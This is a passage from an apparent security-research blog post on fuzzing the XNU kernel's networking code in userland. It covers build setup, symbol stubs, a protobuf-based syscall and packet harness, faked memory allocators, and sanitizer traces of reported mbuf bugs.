[sock_socket](<https://developer.apple.com/documentation/kernel/1396122-sock_socket>) to create struct socket* objects to pass to connectitx in the hopes that it would be easy to reproduce this bug while being high-enough level that this bug could plausibly have been discovered without knowing where to look for it. Surprisingly, after some experimentation, it turned out to be easier to simply call the syscalls directly (via connectx). This makes it easier to translate crashing inputs into programs to run against a real kernel since testcases map 1:1 to syscalls. We\u2019ll see more details about this later.\n\nWe can\u2019t test networking properly without accounting for packets. In this case, data comes from the hardware, not via syscalls from a user process. We\u2019ll have to expose this functionality to our fuzzer. To figure out how to extend our framework to support random packet delivery, we can use our next example bug. Let\u2019s take a look at the call stack for delivering a packet to trigger the ICMP bug reported by Kevin Backhouse:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN_4qMCDG0R3Ix94ctakWAgk3QmZ1JVD0IxQVjr9ft44Eu2a3VYxzWkueZJvf8MUd2qsf2Z-Qk2elUh_Zl-Cx5D9k6ueDM-pJNT9LeT3Ruhtc_CAgn0SL1M2XVCL_BYiTya834YqPEYuU5kH0nU68d7eUJrsUuY-hGEZ3EfiX_yCZ7ZvlDnQoQceOe/s450/image2%281%29.png>)\n\nTo reach the buggy function, icmp_error, the call stack is deeper, and unlike with syscalls, it\u2019s not immediately obvious which of these functions we should call to cover the relevant code. Starting from the very top of the call stack, we see that the crash occurred in a kernel thread running the dlil_input_thread_func function. DLIL stands for Data Link Interface Layer, a reference to the OSI model\u2019s [data link layer](<https://en.wikipedia.org/wiki/Data_link_layer>). Moving further down the stack, we see ether_inet_input, indicating an Ethernet packet (since I tested this issue using Ethernet). We finally make it down to the IP layer, where ip_dooptions signals an icmp_error. As an attacker, we probably don\u2019t have a lot of control over the interface a user uses to receive our input, so we can rule out some of the uppermost layers. We also don\u2019t want to deal with threads in our fuzzer, another design tradeoff we\u2019ll describe in more detail later. proto_input and ip_proto_input don\u2019t do much, so I decided that ip_proto was where I would inject packets, simply by calling the function when I wanted to deliver a packet. After reviewing proto_register_input, I discovered another function called ip6_input, which was the entry point for the IPv6 code. Here\u2019s the prototype for ip_input:\n\nvoid ip_input(struct mbuf *m); \n \n--- \n \n \nMbufs are message buffers, a standard buffer format used in network stacks. They enable multiple small packets to be chained together through a linked list. So we just need to generate mbufs with random data before calling ip_input.\n\nI was surprised by how easy it was to work with the network stack compared to the syscall interface. `ip_input` and `ip6_input` pure functions that don\u2019t require us to know any state to call them. But stepping back, it made more sense. Packet delivery is inherently a clean interface: our kernel has no idea what arbitrary packets may be coming in, so the interface takes a raw packet and then further down in the stack decides how to handle it. Many packets contain metadata that affect the kernel state once received. For example, TCP or UDP packets will be matched to an existing connection by their port number.\n\nMost modern coverage guided fuzzers, including this LibFuzzer-based project, use a design inspired by AFL. When a test case with some known coverage is mutated and the mutant produces coverage that hasn\u2019t been seen before, the mutant is added to the current corpus of inputs. It becomes available for further mutations to produce even deeper coverage. Lcamtuf, the author of AFL, has an excellent demonstration of how this algorithm [created JPEGs using coverage feedback](<https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html>) with no well-formed starting samples. In essence, most poorly-formed inputs are rejected early. When a mutated input passes a validation check, the input is saved. Then that input can be mutated until it manages to pass the second validation check, and so on. This hill climbing algorithm has no problem generating dependent sequences of API calls, in this case to interleave syscalls with ip_input and ip6_input. Random syscalls can get the kernel into some state where it\u2019s expecting a packet. Later, when libFuzzer guesses a packet that gets the kernel into some new state, the hill climbing algorithm will record a new test case when it sees new coverage. Dependent sequences of syscalls and packets are brute-forced in a linear fashion, one call at a time.\n\nDesigning for (Development) Speed\n\nNow that we know where to attack this code base, it\u2019s a matter of building out the fuzzing research platform. I like thinking of it this way because it emphasizes that this fuzzer is a powerful assistant to a researcher, but it can\u2019t do all the work. Like any other test framework, it empowers the researcher to make hypotheses and run experiments over code that looks buggy. For the platform to be helpful, it needs to be comfortable and fun to work with and get out of the way.\n\nWhen it comes to standard practice for kernel fuzzing, there\u2019s a pretty simple spectrum for strategies. On one end, you fuzz self-contained functions that are security-critical, e.g., OSUnserializeBinary. These are easy to write and manage and are generally quite performant. On the other end, you have \u201cend to end\u201d kernel testing that performs random syscalls against a real kernel instance. These heavyweight fuzzers have the advantage of producing issues that you know are actionable right away, but setup and iterative development are slower. I wanted to try a hybrid approach that could preserve some of the benefits of each style. To do so, I would port the networking stack of XNU out of the kernel and into userland while preserving as much of the original code as possible. Kernel code can be surprisingly portable and amenable to unit testing, even when run outside its natural environment.\n\nThere has been a push to add more user-mode unit testing to Linux. If you look at the documentation for Linux\u2019s [KUnit project](<https://www.kernel.org/doc/html/latest/dev-tools/kunit/index.html>), there\u2019s an excellent quote from Linus Torvalds: \u201c\u2026 a lot of people seem to think that performance is about doing the same thing, just doing it faster, and that is not true. That is not what performance is all about. If you can do something really fast, really well, people will start using it differently.\u201d This statement echoes the experience I had writing targeted fuzzers for code in Chrome\u2019s browser process. Due to extensive unit testing, Chrome code is already well-factored for fuzzing. In a day\u2019s work, I could try out many iterations of a fuzz target and the edit/build/run cycle. I didn\u2019t have a similar mechanism out of the box with XNU. In order to perform a unit test, I would need to rebuild the kernel. And despite XNU being considerably smaller than Chrome, incremental builds were slower due to the older kmk build system. I wanted to try bridging this gap for XNU.\n\nSetting up the Scaffolding\n\n\u201cUnit\u201d testing a kernel up through the syscall layer sounds like a big task, but it\u2019s easier than you\u2019d expect if you forgo some complexity. We\u2019ll start by building all of the individual kernel object files from source using the original build flags. But instead of linking everything together to produce the final kernel binary, we link in only the subset of objects containing code in our target attack surface. We then stub or fake the rest of the functionality. Thanks to the recon in the previous section, we already know which functions we want to call from our fuzzer. I used that information to prepare a minimal list of source objects to include in our userland port.\n\nBefore we dive in, let\u2019s define the overall structure of the project as pictured below. There\u2019s going to be a fuzz target implemented in C++ that translates fuzzed inputs into interactions with the userland XNU library. The target code, libxnu, exposes a few wrapper symbols for syscalls and ip_input as mentioned in the attack surface review section. The fuzz target also exposes its random sequence of bytes to kernel APIs such as copyin or copyout, whose implementations have been replaced with fakes that use fuzzed input data.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7HxZOpEaZ0zOKXMwVP0f3hRjwuUrChoR3_v_y91gddRnq4T-t7FCJt5mmG3EGwaK3-HT_hibQyi-0CgwigF9hGZBfNaJhssUQG0KBYoyVGpXRHWgtVAUhC1EOgHgyb_vfiqdYGWxZE7N9y0ysw-0ikT-Kj_ljONiFGGMUPagiidn4dzLgSP8EvX-/s1051/image1%283%29.png>)\n\nTo make development more manageable, I decided to create a new build system using CMake, as it supported Ninja for fast rebuilds. One drawback here is the original build system has to be run every time upstream is updated to deal with generated sources, but this is worth it to get a faster development loop. I captured all of the compiler invocations during a normal kernel build and used those to reconstruct the flags passed to build the various kernel subsystems. Here\u2019s what that first pass looks like:\n\nproject(libxnu)\n\nset(XNU_DEFINES\n\n-DAPPLE\n\n-DKERNEL\n\n# ...\n\n)\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\nbsd/net/if.c\n\nbsd/netinet/ip_input.c\n\n# ...\n\n)\n\nadd_library(xnu SHARED ${XNU_SOURCES} ${FUZZER_FILES} ${XNU_HEADERS})\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer PRIVATE ${FUZZER_CXX_FLAGS}) \n \n--- \n \n \nOf course, without the rest of the kernel, we see tons of missing symbols.\n\n\"_zdestroy\", referenced from:\n\n_if_clone_detach in libxnu.a(if.c.o)\n\n\"_zfree\", referenced from:\n\n_kqueue_destroy in libxnu.a(kern_event.c.o)\n\n_knote_free in libxnu.a(kern_event.c.o)\n\n_kqworkloop_get_or_create in libxnu.a(kern_event.c.o)\n\n_kev_delete in libxnu.a(kern_event.c.o)\n\n_pipepair_alloc in libxnu.a(sys_pipe.c.o)\n\n_pipepair_destroy_pipe in libxnu.a(sys_pipe.c.o)\n\n_so_cache_timer in libxnu.a(uipc_socket.c.o)\n\n...\n\n\"_zinit\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_pipeinit in libxnu.a(sys_pipe.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_unp_init in libxnu.a(uipc_usrreq.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n...\n\n\"_zone_change\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n_ifa_init in libxnu.a(if.c.o)\n\n_if_clone_attach in libxnu.a(if.c.o)\n\n...\n\nld: symbol(s) not found for architecture x86_64\n\nclang: error: linker command failed with exit code 1 (use -v to see invocation)\n\nninja: build stopped: subcommand failed. \n \n--- \n \n \nTo get our initial targeted fuzzer working, we can do a simple trick by linking against a file containing stubbed implementations of all of these. We take advantage of C\u2019s weak type system here. For each function we need to implement, we can link an implementation void func() { assert(false); }. The arguments passed to the function are simply ignored, and a crash will occur whenever the target code attempts to call it. This goal can be achieved with linker flags, but it was a simple enough solution that allowed me to get nice backtraces when I hit an unimplemented function.\n\n// Unimplemented stub functions\n\n// These should be replaced with real or mock impls.\n\n#include <kern/assert.h>\n\n#include <stdbool.h>\n\nint printf(const char* format, ...);\n\nvoid Assert(const char* file, int line, const char* expression) {\n\nprintf(\"%s: assert failed on line %d: %s\\n\", file, line, expression);\n\n__builtin_trap();\n\n}\n\nvoid IOBSDGetPlatformUUID() { assert(false); }\n\nvoid IOMapperInsertPage() { assert(false); }\n\n// ... \n \n--- \n \n \nThen we just link this file into the XNU library we\u2019re building by adding it to the source list:\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\n# ...\n\nfuzz/syscall_wrappers.c\n\nfuzz/ioctl.c\n\nfuzz/backend.c\n\nfuzz/stubs.c\n\nfuzz/fake_impls.c \n \n--- \n \n \nAs you can see, there are some other files I included in the XNU library that represent faked implementations and helper code to expose some internal kernel APIs. To make sure our fuzz target will call code in the linked library, and not some other host functions (syscalls) with a clashing name, we hide all of the symbols in libxnu by default and then expose a set of wrappers that call those functions on our behalf. I hide all the names by default using a CMake setting set_target_properties(xnu PROPERTIES C_VISIBILITY_PRESET hidden). Then we can link in a file (fuzz/syscall_wrappers.c) containing wrappers like the following:\n\n__attribute__((visibility(\"default\"))) int accept_wrapper(int s, caddr_t name,\n\nsocklen_t* anamelen,\n\nint* retval) {\n\nstruct accept_args uap = {\n\n.s = s,\n\n.name = name,\n\n.anamelen = anamelen,\n\n};\n\nreturn accept(kernproc, &uap, retval);\n\n} \n \n--- \n \nNote the visibility attribute that explicitly exports the symbol from the library. Due to the simplicity of these wrappers I created a script to automate this called generate_fuzzer.py using syscalls.master. \n\n\nWith the stubs in place, we can start writing a fuzz target now and come back to deal with implementing them later. We will see a crash every time the target code attempts to use one of the functions we initially left out. Then we get to decide to either include the real implementation (and perhaps recursively require even more stubbed function implementations) or to fake the functionality.\n\nA bonus of getting a build working with CMake was to create multiple targets with different instrumentation. Doing so allows me to generate coverage reports using clang-coverage:\n\ntarget_compile_options(xnu-cov PRIVATE ${XNU_C_FLAGS} -DLIBXNU_BUILD=1 -D_FORTIFY_SOURCE=0 -fprofile-instr-generate -fcoverage-mapping) \n \n--- \n \n \nWith that, we just add a fuzz target file and a protobuf file to use with protobuf-mutator and we\u2019re ready to get started:\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer\n\nPRIVATE -g\n\n-std=c++11\n\n-Werror\n\n-Wno-address-of-packed-member\n\n${FUZZER_CXX_FLAGS})\n\nif(APPLE)\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES})\n\nelse()\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES} pthread)\n\nendif(APPLE) \n \n--- \n \nWriting a Fuzz Target\n\nAt this point, we\u2019ve assembled a chunk of XNU into a convenient library, but we still need to interact with it by writing a fuzz target. At first, I thought I might write many targets for different features, but I decided to write one monolithic target for this project. I\u2019m sure fine-grained targets could do a better job for functionality that\u2019s harder to fuzz, e.g., the TCP state machine, but we will stick to one for simplicity.\n\nWe\u2019ll start by specifying an input grammar using protobuf, part of which is depicted below. This grammar is completely arbitrary and will be used by a corresponding C++ harness that we will write next. LibFuzzer has a plugin called libprotobuf-mutator that knows how to mutate protobuf messages. This will enable us to do grammar-based mutational fuzzing efficiently, while still leveraging coverage guided feedback. This is a very powerful combination.\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n// TODO: options, e.g. SO_ACCEPTCONN\n\n}\n\nmessage Close {\n\nrequired FileDescriptor fd = 1;\n\n}\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\noptional SocketOptName name = 2;\n\n// TODO(nedwill): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\nmessage Command {\n\noneof command {\n\nPacket ip_input = 1;\n\nSetSocketOpt set_sock_opt = 2;\n\nSocket socket = 3;\n\nClose close = 4;\n\n}\n\n}\n\nmessage Session {\n\nrepeated Command commands = 1;\n\nrequired bytes data_provider = 2;\n\n} \n \n--- \n \nI left some TODO comments intact so you can see how the grammar can always be improved. As I\u2019ve done in similar fuzzing projects, I have a top-level message called Session that encapsulates a single fuzzer iteration or test case. This session contains a sequence of \u201ccommands\u201d and a sequence of bytes that can be used when random, unstructured data is needed (e.g., when doing a copyin). Commands are syscalls or random packets, which in turn are their own messages that have associated data. For example, we might have a session that has a single Command message containing a \u201cSocket\u201d message. That Socket message has data associated with each argument to the syscall. In our C++-based target, it\u2019s our job to translate messages of this custom specification into real syscalls and related API calls. We inform libprotobuf-mutator that our fuzz target expects to receive one \u201cSession\u201d message at a time via the macro DEFINE_BINARY_PROTO_FUZZER. \n\n\nDEFINE_BINARY_PROTO_FUZZER(const Session &session) {\n\n// ...\n\nstd::set<int> open_fds;\n\nfor (const Command &command : session.commands()) {\n\nint retval = 0;\n\nswitch (command.command_case()) {\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\n// Make sure we're tracking fds properly.\n\nif (open_fds.find(fd) != open_fds.end()) {\n\nprintf(\"Found existing fd %d\\n\", fd);\n\nassert(false);\n\n}\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n}\n\ncase Command::kClose: {\n\nopen_fds.erase(command.close().fd());\n\nclose_wrapper(command.close().fd(), nullptr);\n\nbreak;\n\n}\n\ncase Command::kSetSockOpt: {\n\nint s = command.set_sock_opt().fd();\n\nint level = command.set_sock_opt().level();\n\nint name = command.set_sock_opt().name();\n\nsize_t size = command.set_sock_opt().val().size();\n\nstd::unique_ptr<char[]> val(new char[size]);\n\nmemcpy(val.get(), command.set_sock_opt().val().data(), size);\n\nsetsockopt_wrapper(s, level, name, val.get(), size, nullptr);\n\nbreak;\n\n} \n \n--- \n \nWhile syscalls are typically a straightforward translation of the protobuf message, other commands are more complex. In order to improve the structure of randomly generated packets, I added custom message types that I then converted into the relevant on-the-wire structure before passing it into ip_input. Here\u2019s how this looks for TCP:\n\nmessage Packet {\n\noneof packet {\n\nTcpPacket tcp_packet = 1;\n\n}\n\n}\n\nmessage TcpPacket {\n\nrequired IpHdr ip_hdr = 1;\n\nrequired TcpHdr tcp_hdr = 2;\n\noptional bytes data = 3;\n\n}\n\nmessage IpHdr {\n\nrequired uint32 ip_hl = 1;\n\nrequired IpVersion ip_v = 2;\n\nrequired uint32 ip_tos = 3;\n\nrequired uint32 ip_len = 4;\n\nrequired uint32 ip_id = 5;\n\nrequired uint32 ip_off = 6;\n\nrequired uint32 ip_ttl = 7;\n\nrequired Protocol ip_p = 8;\n\nrequired InAddr ip_src = 9;\n\nrequired InAddr ip_dst = 10;\n\n}\n\nmessage TcpHdr {\n\nrequired Port th_sport = 1;\n\nrequired Port th_dport = 2;\n\nrequired TcpSeq th_seq = 3;\n\nrequired TcpSeq th_ack = 4;\n\nrequired uint32 th_off = 5;\n\nrepeated TcpFlag th_flags = 6;\n\nrequired uint32 th_win = 7;\n\nrequired uint32 th_sum = 8;\n\nrequired uint32 th_urp = 9;\n\n// Ned's extensions\n\nrequired bool is_pure_syn = 10;\n\nrequired bool is_pure_ack = 11;\n\n} \n \n--- \n \nUnfortunately, protobuf doesn\u2019t support a uint8 type, so I had to use uint32 for some fields. That\u2019s some lost fuzzing performance. You can also see some synthetic TCP header flags I added to make certain flag combinations more likely: is_pure_syn and is_pure_ack. Now I have to write some code to stitch together a valid packet from these nested fields. Shown below is the code to handle just the TCP header.\n\nstd::string get_tcp_hdr(const TcpHdr &hdr) {\n\nstruct tcphdr tcphdr = {\n\n.th_sport = (unsigned short)hdr.th_sport(),\n\n.th_dport = (unsigned short)hdr.th_dport(),\n\n.th_seq = __builtin_bswap32(hdr.th_seq()),\n\n.th_ack = __builtin_bswap32(hdr.th_ack()),\n\n.th_off = hdr.th_off(),\n\n.th_flags = 0,\n\n.th_win = (unsigned short)hdr.th_win(),\n\n.th_sum = 0, // TODO(nedwill): calculate the checksum instead of skipping it\n\n.th_urp = (unsigned short)hdr.th_urp(),\n\n};\n\nfor (const int flag : hdr.th_flags()) {\n\ntcphdr.th_flags ^= flag;\n\n}\n\n// Prefer pure syn\n\nif (hdr.is_pure_syn()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_ACK);\n\ntcphdr.th_flags |= TH_SYN;\n\n} else if (hdr.is_pure_ack()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_SYN);\n\ntcphdr.th_flags |= TH_ACK;\n\n}\n\nstd::string dat((char *)&tcphdr, (char *)&tcphdr + sizeof(tcphdr));\n\nreturn dat;\n\n} \n \n--- \n \n \nAs you can see, I make liberal use of a custom grammar to enable better quality fuzzing. These efforts are worth it, as randomizing high level structure is more efficient. It will also be easier for us to interpret crashing test cases later as they will have the same high level representation.\n\nHigh-Level Emulation\n\nNow that we have the code building and an initial fuzz target running, we begin the first pass at implementing all of the stubbed code that is reachable by our fuzz target. Because we have a fuzz target that builds and runs, we now get instant feedback about which functions our target hits. Some core functionality has to be supported before we can find any bugs, so the first attempt to run the fuzzer deserves its own development phase. For example, until dynamic memory allocation is supported, almost no kernel code we try to cover will work considering how heavily such code is used.\n\nWe\u2019ll be implementing our stubbed functions with fake variants that attempt to have the same semantics. For example, when testing code that uses an external database library, you could replace the database with a simple in-memory implementation. If you don\u2019t care about finding database bugs, this often makes fuzzing simpler and more robust. For some kernel subsystems unrelated to networking we can use entirely different or null implementations. This process is reminiscent of high-level emulation, an idea used in game console emulation. Rather than aiming to emulate hardware, you can try to preserve the semantics but use a custom implementation of the API. Because we only care about testing networking, this is how we approach faking subsystems in this project.\n\nI always start by looking at the original function implementation. If it\u2019s possible, I just link in that code as well. But some functionality isn\u2019t compatible with our fuzzer and must be faked. For example, zalloc should call the userland malloc since virtual memory is already managed by our host kernel and we have allocator facilities available. Similarly, copyin and copyout need to be faked as they no longer serve to copy data between user and kernel pages. Sometimes we also just \u201cnop\u201d out functionality that we don\u2019t care about. We\u2019ll cover these decisions in more detail later in the \u201cHigh-Level Emulation\u201d phase. Note that by implementing these stubs lazily whenever our fuzz target hits them, we immediately reduce the work in handling all the unrelated functions by an order of magnitude. It\u2019s easier to stay motivated when you only implement fakes for functions that are used by the target code. This approach successfully saved me a lot of time and I\u2019ve used it on subsequent projects as well. At the time of writing, I have 398 stubbed functions, about 250 functions that are trivially faked (return 0 or void functions that do nothing), and about 25 functions that I faked myself (almost all related to porting the memory allocation systems to userland).\n\n# Booting Up\n\nAs soon as we start running the fuzzer, we\u2019ll run into a snag: many resources require a one-time initialization that happens on boot. The BSD half of the kernel is mostly initialized by calling the bsd_init function. That function, in turn, calls several subsystem-specific initialization functions. Keeping with the theme of supporting a minimally necessary subset of the kernel, rather than call bsd_init, we create a new function that only initializes parts of the kernel as needed.\n\nHere\u2019s an example crash that occurs without the one time kernel bootup initialization:\n\n#7 0x7effbc464ad0 in zalloc /source/build3/../fuzz/zalloc.c:35:3\n\n#8 0x7effbb62eab4 in pipepair_alloc /source/build3/../bsd/kern/sys_pipe.c:634:24\n\n#9 0x7effbb62ded5 in pipe /source/build3/../bsd/kern/sys_pipe.c:425:10\n\n#10 0x7effbc4588ab in pipe_wrapper /source/build3/../fuzz/syscall_wrappers.c:216:10\n\n#11 0x4ee1a4 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:979:19 \n \n--- \n \nOur zalloc implementation (covered in the next section) failed because the pipe zone wasn\u2019t yet initialized:\n\nstatic int\n\npipepair_alloc(struct pipe **rp_out, struct pipe **wp_out)\n\n{\n\nstruct pipepair *pp = zalloc(pipe_zone); \n \n--- \n \nScrolling up in sys_pipe.c, we see where that zone is initialized:\n\nvoid\n\npipeinit(void)\n\n{\n\nnbigpipe = 0;\n\nvm_size_t zone_size;\n\nzone_size = 8192 * sizeof(struct pipepair);\n\npipe_zone = zinit(sizeof(struct pipepair), zone_size, 4096, \"pipe zone\"); \n \n--- \n \nSure enough, this function is called by bsd_init. By adding that to our initial setup function the zone works as expected. After some development cycles spent supporting all the needed bsd_init function calls, we have the following:\n\n__attribute__((visibility(\"default\"))) bool initialize_network() {\n\nmcache_init();\n\nmbinit();\n\neventhandler_init();\n\npipeinit();\n\ndlil_init();\n\nsocketinit();\n\ndomaininit();\n\nloopattach();\n\nether_family_init();\n\ntcp_cc_init();\n\nnet_init_run();\n\nint res = necp_init();\n\nassert(!res);\n\nreturn true;\n\n} \n \n--- \n \n \nThe original bsd_init is 683 lines long, but our initialize_network clone is the preceding short snippet. I want to remark how cool I found it that you could \u201cboot\u201d a kernel like this and have everything work so long as you implemented all the relevant stubs. It just goes to show a surprising fact: a significant amount of kernel code is portable, and simple steps can be taken to make it testable. These codebases can be modernized without being fully rewritten. As this \u201cboot\u201d relies on dynamic allocation, let\u2019s look at how I implemented that next.\n\n# Dynamic Memory Allocation\n\nProviding a virtual memory abstraction is a fundamental goal of most kernels, but the good news is this is out of scope for this project (this is left as an exercise for the reader). Because networking already assumes working virtual memory, the network stack functions almost entirely on top of high-level allocator APIs. This makes the subsystem amenable to \u201chigh-level emulation\u201d. We can create a thin shim layer that intercepts XNU specific allocator calls and translates them to the relevant host APIs.\n\nIn practice, we have to handle three types of allocations for this project: \u201cclassic\u201d allocations (malloc/calloc/free), zone allocations (zalloc), and mbuf (memory buffers). The first two types are more fundamental allocation types used across XNU, while mbufs are a common data structure used in low-level networking code.\n\nThe zone allocator is reasonably complicated, but we use a simplified model for our purposes: we just track the size assigned to a zone when it is created and make sure we malloc that size when zalloc is later called using the initialized zone. This could undoubtedly be modeled better, but this initial model worked quite well for the types of bugs I was looking for. In practice, this simplification affects exploitability, but we aren\u2019t worried about that for a fuzzing project as we can assess that manually once we discover an issue. As you can see below, I created a custom zone type that simply stored the configured size, knowing that my zinit would return an opaque pointer that would be passed to my zalloc implementation, which could then use calloc to service the request. zfree simply freed the requested bytes and ignored the zone, as allocation sizes are tracked by the host malloc already.\n\nstruct zone {\n\nuintptr_t size;\n\n};\n\nstruct zone* zinit(uintptr_t size, uintptr_t max, uintptr_t alloc,\n\nconst char* name) {\n\nstruct zone* zone = (struct zone*)calloc(1, sizeof(struct zone));\n\nzone->size = size;\n\nreturn zone;\n\n}\n\nvoid* zalloc(struct zone* zone) {\n\nassert(zone != NULL);\n\nreturn calloc(1, zone->size);\n\n}\n\nvoid zfree(void* zone, void* dat) {\n\n(void)zone;\n\nfree(dat);\n\n} \n \n--- \n \nKalloc, kfree, and related functions were passed through to malloc and free as well. You can see fuzz/zalloc.c for their implementations. Mbufs (memory buffers) are more work to implement because they contain considerable metadata that is exposed to the \u201cclient\u201d networking code.\n\nstruct m_hdr {\n\nstruct mbuf *mh_next; /* next buffer in chain */\n\nstruct mbuf *mh_nextpkt; /* next chain in queue/record */\n\ncaddr_t mh_data; /* location of data */\n\nint32_t mh_len; /* amount of data in this mbuf */\n\nu_int16_t mh_type; /* type of data in this mbuf */\n\nu_int16_t mh_flags; /* flags; see below */\n\n};\n\n/*\n\n* The mbuf object\n\n*/\n\nstruct mbuf {\n\nstruct m_hdr m_hdr;\n\nunion {\n\nstruct {\n\nstruct pkthdr MH_pkthdr; /* M_PKTHDR set */\n\nunion {\n\nstruct m_ext MH_ext; /* M_EXT set */\n\nchar MH_databuf[_MHLEN];\n\n} MH_dat;\n\n} MH;\n\nchar M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */\n\n} M_dat;\n\n}; \n \n--- \n \n \nI didn\u2019t include the pkthdr nor m_ext structure definitions, but they are nontrivial (you can see for yourself in bsd/sys/mbuf.h). A lot of trial and error was needed to create a simplified mbuf format that would work. In practice, I use an inline buffer when possible and, when necessary, locate the data in one large external buffer and set the M_EXT flag. As these allocations must be aligned, I use posix_memalign to create them, rather than malloc. Fortunately ASAN can help manage these allocations, so we can detect some bugs with this modification.\n\nTwo bugs I reported via the Project Zero tracker highlight the benefit of the heap-based mbuf implementation. In the [first report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1981>), I detected an mbuf double free using ASAN. While the m_free implementation tries to detect double frees by checking the state of the allocation, ASAN goes even further by quarantining recently freed allocations to detect the bug. In this case, it looks like the fuzzer would have found the bug either way, but it was impressive. The [second issue](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>) linked is much subtler and requires some instrumentation to detect the bug, as it is a use after free read of an mbuf:\n\n==22568==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500026afe5 at pc 0x7ff60f95cace bp 0x7ffd4d5617b0 sp 0x7ffd4d5617a8\n\nREAD of size 1 at 0x61500026afe5 thread T0\n\n#0 0x7ff60f95cacd in tcp_input bsd/netinet/tcp_input.c:5029:25\n\n#1 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#2 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10\n\n0x61500026afe5 is located 229 bytes inside of 256-byte region [0x61500026af00,0x61500026b000)\n\nfreed by thread T0 here:\n\n#0 0x4a158d in free /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7ff60fb7444d in m_free fuzz/zalloc.c:220:3\n\n#2 0x7ff60f4e3527 in m_freem bsd/kern/uipc_mbuf.c:4842:7\n\n#3 0x7ff60f5334c9 in sbappendstream_rcvdemux bsd/kern/uipc_socket2.c:1472:3\n\n#4 0x7ff60f95821d in tcp_input bsd/netinet/tcp_input.c:5019:8\n\n#5 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#6 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10 \n \n--- \n \n \nApple managed to catch this issue before I reported it, fixing it in iOS 13. I believe Apple has added some internal hardening or testing for mbufs that caught this bug. It could be anything from a hardened mbuf allocator like [GWP-ASAN](<https://llvm.org/docs/GwpAsan.html>), to an internal ARM MTE test, to simple auditing, but it was really cool to see this issue detected in this way, and also that Apple was proactive enough to find this themselves.\n\n# Accessing User Memory\n\nWhen talking about this project with a fellow attendee at a fuzzing conference, their biggest question was how I handled user memory access. Kernels are never supposed to trust pointers provided by user-space, so whenever the kernel wants to access memory-mapped in userspace, it goes through intermediate functions copyin and copyout. By replacing these functions with our fake implementations, we can supply fuzzer-provided input to the tested code. The real kernel would have done the relevant copies from user to kernel pages. Because these copies are driven by the target code and not our testcase, I added a buffer in the protobuf specification to be used to service these requests.\n\nHere\u2019s a backtrace from our stub before we implement `copyin`. As you can see, when calling the `recvfrom` syscall, our fuzzer passed in a pointer as an argument.\n\n#6 0x7fe1176952f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fe11769a110 in copyin /source/build3/../fuzz/fake_impls.c:408:3\n\n#8 0x7fe116951a18 in __copyin_chk /source/build3/../bsd/libkern/copyio.h:47:9\n\n#9 0x7fe116951a18 in recvfrom_nocancel /source/build3/../bsd/kern/uipc_syscalls.c:2056:11\n\n#10 0x7fe117691a86 in recvfrom_nocancel_wrapper /source/build3/../fuzz/syscall_wrappers.c:244:10\n\n#11 0x4e933a in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:936:9\n\n#12 0x4e43b8 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nI\u2019ve extended the copyin specification with my fuzzer-specific semantics: when the pointer (void*)1 is passed as an address, we interpret this as a request to fetch arbitrary bytes. Otherwise, we copy directly from that virtual memory address. This way, we can begin by passing (void*)1 everywhere in the fuzz target to get as much cheap coverage as possible. Later, as we want to construct well-formed data to pass into 